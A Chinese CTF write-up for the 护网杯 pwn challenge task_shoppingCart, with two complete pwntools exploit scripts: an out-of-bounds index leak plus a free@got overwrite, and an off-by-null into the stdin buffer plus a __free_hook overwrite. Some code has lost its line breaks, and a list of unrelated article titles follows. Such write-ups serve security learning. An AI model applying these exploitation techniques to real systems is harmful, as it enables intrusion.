前言

相关题目位于

https://gitee.com/hac425/blog_data/tree/master/hwb

task_shoppingCart

漏洞位于 00BD9

用户输入 idx 然后根据索引找到表项( T ), 然后取 T 开头的 8 字节作为指针,先打印内容,然后修改。

通过漏洞,加上上图那种逻辑结构我们就可以查看并修改 data 的数据。

这个题的关键工作就是构造上图的结构。

开始以为和之前的一场比赛的题一样,程序中会有一个地方存着指向 got 表的指针

https://www.cnblogs.com/hac425/p/9416777.html

发现在程序开了 pie 后貌似就没有了。

方法一

后来看 wp 发现在 0x202068 处存放着一个指针, 指向自身, 这个指针貌似是在 fini_array 的函数里面会用到。

可以用它来做信息泄露

调试时

泄露程序基地址

利用 0x202068 这个指向自身的特性,最后我们可以拿到 程序的基地址

# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针,通过这个可以 leak  bin 的基地址。
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-47))p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
bin.address = leak - 0x202068
info("bin.address: {}".format(hex(bin.address)))
# padding
p.send(p64(bin.address + 0x202140))

构造结构,查看并修改 got

最终需要构造的结构为

其中 0x0000555555756018free@got 的地址。

利用开始创建的两个 account 来构造即可。

然后在泄露出 free 的地址后,把 free@got 改成 system ,然后 free("sh\x00") 即可 。

具体 exp:

#!/usr/bin/env python
# encoding: utf-8
from pwn import *context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = "debug"
BinPath = "./task_shoppingCart"
LibcPath = "/lib/x86_64-linux-gnu/libc-2.23.so"
bin = ELF(BinPath)
libc = ELF(LibcPath)
bin.address = 0x0000555555554000
# context.binary = binp = process(BinPath, aslr=0)def login():p.sendlineafter("EMMmmm, you will be a rich man!", "1")p.sendlineafter("RMB or Dollar?", "RMB")def logout():p.sendlineafter("EMMmmm, you will be a rich man!", "3")def create_good(data, length):p.sendlineafter("Now, buy buy buy!", "1")p.sendlineafter("How long is your goods name?", str(length))p.sendafter("What is your goods name?", data)def modify_good(idx, data):p.sendlineafter("Now, buy buy buy!", "3")p.sendlineafter("Which goods you need to modify?", str(idx))p.sendafter("OK, what would you like", data)def free_good(idx):p.sendlineafter("Now, buy buy buy!", "2")p.sendlineafter("Which goods that you don't need?", str(idx))# 创建两个 account, 后面用于伪造结构
login()
login()
logout()create_good("sh\x00" , 8)
create_good("b" * 8 , 8)
create_good("c" * 8 , 8)free_good(1)# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针,通过这个可以 leak  bin 的基地址。
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-47))p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
bin.address = leak - 0x202068
info("bin.address: {}".format(hex(bin.address)))
#  accouont_table 的地址
p.send(p64(bin.address + 0x202140))# 利用 account 1 , 往 0x2020A0 写入 puts@got 的地址
modify_good(-20, p64(bin.got['free']))# 利用 account 2 , 往 0x2020A8 写入 0x2020A0, 构造一个写的结构
modify_good(-19, p64(bin.address + 0x2020A0))# gdb.attach(p, """
# break *0x0555555554C45
# """)
# pause()# (0x2021E0-0x2020A8)/8
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-39))p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
libc.address = leak - libc.symbols['free']
info("libc.address: {}".format(hex(libc.address)))p.send(p64(libc.symbols['system'])[0:7])
free_good(0)
p.interactive()

方法二

这个方法主要利用的是 off by nullfgets 的工作特性。

首先是 off by null

这里往 name_ptr 的 第 9 个字节写 \x00 ,通过改 currency_type 的最后一项可以让 account_table 第一项的第一个字节为 \x00, 这样会让指针落在 stdin 用于暂存数据的缓冲区。

在第一次调用 fgets 时,会为 fp 参数的 _IO_buf_base 分配一块内存用于暂存用户发过来的数据。

这块缓冲区是在 heap 区的顶部。所以当 account_table[0] 的指针的最低字节被置 \x00 后,会落入 stdin_IO_buf_base 里面, 于是我们通过往程序发送数据,就可以构造我们之前所说的那种实现地址写读写的操作。

详细可以看 exp :

#!/usr/bin/env python
# encoding: utf-8from pwn import *
import timelibc_name = '/lib/x86_64-linux-gnu/libc-2.23.so'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./task_shoppingCart')p = process('./task_shoppingCart', aslr=0)
libc = ELF(libc_name)def add(size, name):p.recvuntil("Now, buy buy buy!")p.sendline('1')p.recvuntil("name?")p.sendline(str(size))p.recvuntil("What is your goods name?")p.send(name)def delete(idx):p.recvuntil("Now, buy buy buy!")p.sendline('2')p.recvuntil("Which goods that you don't need?")p.sendline(str(idx))def edit(idx):p.recvuntil("Now, buy buy buy!")p.sendline('3')p.recvuntil("Which goods you need to modify?")p.sendline(str(idx))def edit_vul(context):p.recvuntil("Now, buy buy buy!")p.sendline('3')p.recvuntil("Which goods you need to modify?")p.send(context)# 首先填满 account 数组
for i in range(0x13):p.recvuntil("EMMmmm, you will be a rich man!")p.sendline('1')p.recvuntil("I will give you $9999, but what's the  currency type you want, RMB or Dollar?")p.sendline('a' * 8)p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the  currency type you want, RMB or Dollar?")
p.sendline('b' * 8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('3')# 构造一个 unsorted bin , 目的是为了 unsorted bin  里面的两个指针
add(0x100, 'p4nda')  # 0
add(0x70, '/bin/sh\x00')  # 1
delete(0)# 通过 分配 0 字节大小的 name, 可以绕过 create good 时的 设置 \x00 , 进而泄露出 libc
add(0, '')  # 2
edit(2)p.recvuntil('OK, what would you like to modify ')
libc_addr = u64(p.recv(6).ljust(8, '\x00'))
libc.address = libc_addr - 0x10 - 344 - libc.symbols['__malloc_hook']
p.send('p4nda')
print '[+] leak', hex(libc_addr)
print '[+] system', hex(libc.symbols['system'])# 编辑 account_table[19]
edit((0x202140 + 19 * 8 - 0x2021E0) / 8 & 0xffffffffffffffff)
p.recvuntil('to?')
p.send('d' * 8)gdb.attach(p)
pause()payload = (str((0x202140 - 0x2021E0) / 8 & 0xffffffffffffffff) + '\n')# fgets 的工作流程应该是 :
# 1. 用户发送数据到程序, 程序把数据存在 stdin 的暂存缓冲区
# 2. fgets 按需取数据
payload += (str(2) + '\n')
payload += (str(1) + '\n')payload = payload.ljust(0x1000 - 0x20, 'a')
payload += p64(libc.symbols['__free_hook'])edit_vul(payload)# 写数据用的是 read , 也许会清空之前的缓存数据?
p.recvuntil('to?')
p.send(p64(libc.symbols['system']))p.interactive()

参考

https://xz.aliyun.com/t/2897#toc-5
https://xz.aliyun.com/t/2892#toc-3
https://xz.aliyun.com/t/2893#toc-7

转载于:https://www.cnblogs.com/hac425/p/9794873.html

护网杯 task_shoppingCart 记录相关推荐

  1. awd的批量脚本 pwn_[原创]第一届护网杯线下决赛awd之shell多解

    前言 好久不打比赛,顺便来北京实习就参加了护网杯.排名虽然有所提高但还是被各种大表哥吊打.(和企业参赛简直痛苦)这里带来决赛中awd比赛pwn题shell的两种漏洞利用方式. 程序保护 保护全开 程序 ...

  2. [护网杯 2018]easy_tornado WriteUp

    打开环境发现有三个链接 分别点击 分别得到 flag.txt welcome.txt 以及hints.txt 看到网址后面有 file/filename= 等字样,以及出现的md5加密函数 初步猜测f ...

  3. 2018护网杯第一场 web easy tornado LTshop超详细解答

    easy tornado 这个tornado是一个python的模板,在web使用的时候给出了四个文件,可以访问,从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5( ...

  4. BUUCTF(pwn)护网杯_2018_gettingstart

    from pwn import * p=remote("node3.buuoj.cn",26480) payload='a'*0x18+p64(0x7FFFFFFFFFFFFFFF ...

  5. 【CTF WriteUp】2020全国工业互联网安全技术技能大赛(原护网杯)Crypto题解

    Crypto signsystem 题目 task.py from Crypto.Util.number import getPrime, bytes_to_long from gmpy2 impor ...

  6. python模板注入_BUUCTF/护网杯 easy_tornado 模板注入

    首先简单认识一下模板注入 模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 PHP 模版引擎 Twig 作为例子来说明模板注入产生的原理.考虑下面这段代码: require ...

  7. [护网杯 2018]easy_tornado

    题目打开有三个链接 点第一个发现 第三个 猜测这里的filehash就是md5加密得到的,我们需要找到cookie_secret 在第二个链接中 有个render,而且题目是easy_tornado, ...

  8. 护网杯2018 easylaravel

    easylaravel robots.txt没啥东西 注释给了源码地址,下下来审计 /routes/web.php 查看路由 包里有composer.json 先composer install安装一 ...

  9. [护网杯 2018]easy_tornado 1

    考点: 1.SSTI(务器端模板注入) 2.模板中的Handler 做之前先全点一遍看看里面有啥 flag.txt: 看到一个fllllllllllllag,正好有个filename参数,带进去看看: ...

  10. 2018护网杯内存取证

    作者:Swback 知乎:https://www.zhihu.com/people/back-88-87 CSDN:https://blog.csdn.net/qq_30817059 #查看profi ...

最新文章

  1. nacos1.3.2连接mysql_Nacos 1.3.0版本部署连接mysql 8+
  2. Linux网络编程一步一步学+基础
  3. python3不等于号_python中的不等于号是什么
  4. .Net Core上用于代替System.Drawing的类库
  5. C# 快捷键/hotkey简单例子
  6. git pull忽略指定文件_Git忽略提交规则
  7. tostring会空指针吗_追了多年的开发框架,你还认识指针吗?
  8. python爬虫东方财富网的股票资金流(以平安银行为例)
  9. 硬件只要一块esp8266 nodemcu板+几根杜邦线实现远程PC开机,软件全开源(替代智能开关)
  10. 只有程序员才能读懂的三国演义(一)
  11. StrokeIt 按键列表
  12. 小区物业管理系统计算机科学技术,智能化小区物业管理系统关键技术研究
  13. 斯坦福图机器学习CS224W笔记自用:How Expressive are Graph Neural Networks?
  14. DDL,DQL,DML,DCL全称
  15. BM25算法——(他人写)
  16. c++ stack用法详解
  17. 如何免费识别图片文字?这几个软件彻底解放你的双手
  18. Redis I/O 多路复用
  19. 程序员转行中,深入研究一下产品经理岗,有兴趣的一起来学习进步吧!
  20. buildroot快速入门

热门文章

  1. android 学习十四 探索安全性和权限
  2. ArcEngine 渲染的使用【转载】
  3. PostgreSQL是否区分大小写
  4. OCR+NLP 提取信息并分析,这个开源项目火了!
  5. 百倍训练效率提升,微软通用语言表示模型T-ULRv5登顶XTREME
  6. 谷歌高频面试题-较小的三数之和
  7. seaborn—sns.residplot绘制线性回归的残差
  8. bug-AttributeError: ‘NoneType‘ object has no attribute ‘append‘
  9. 初识视觉SLAM:用相机解决定位和建图问题
  10. 游戏情境设计案例精选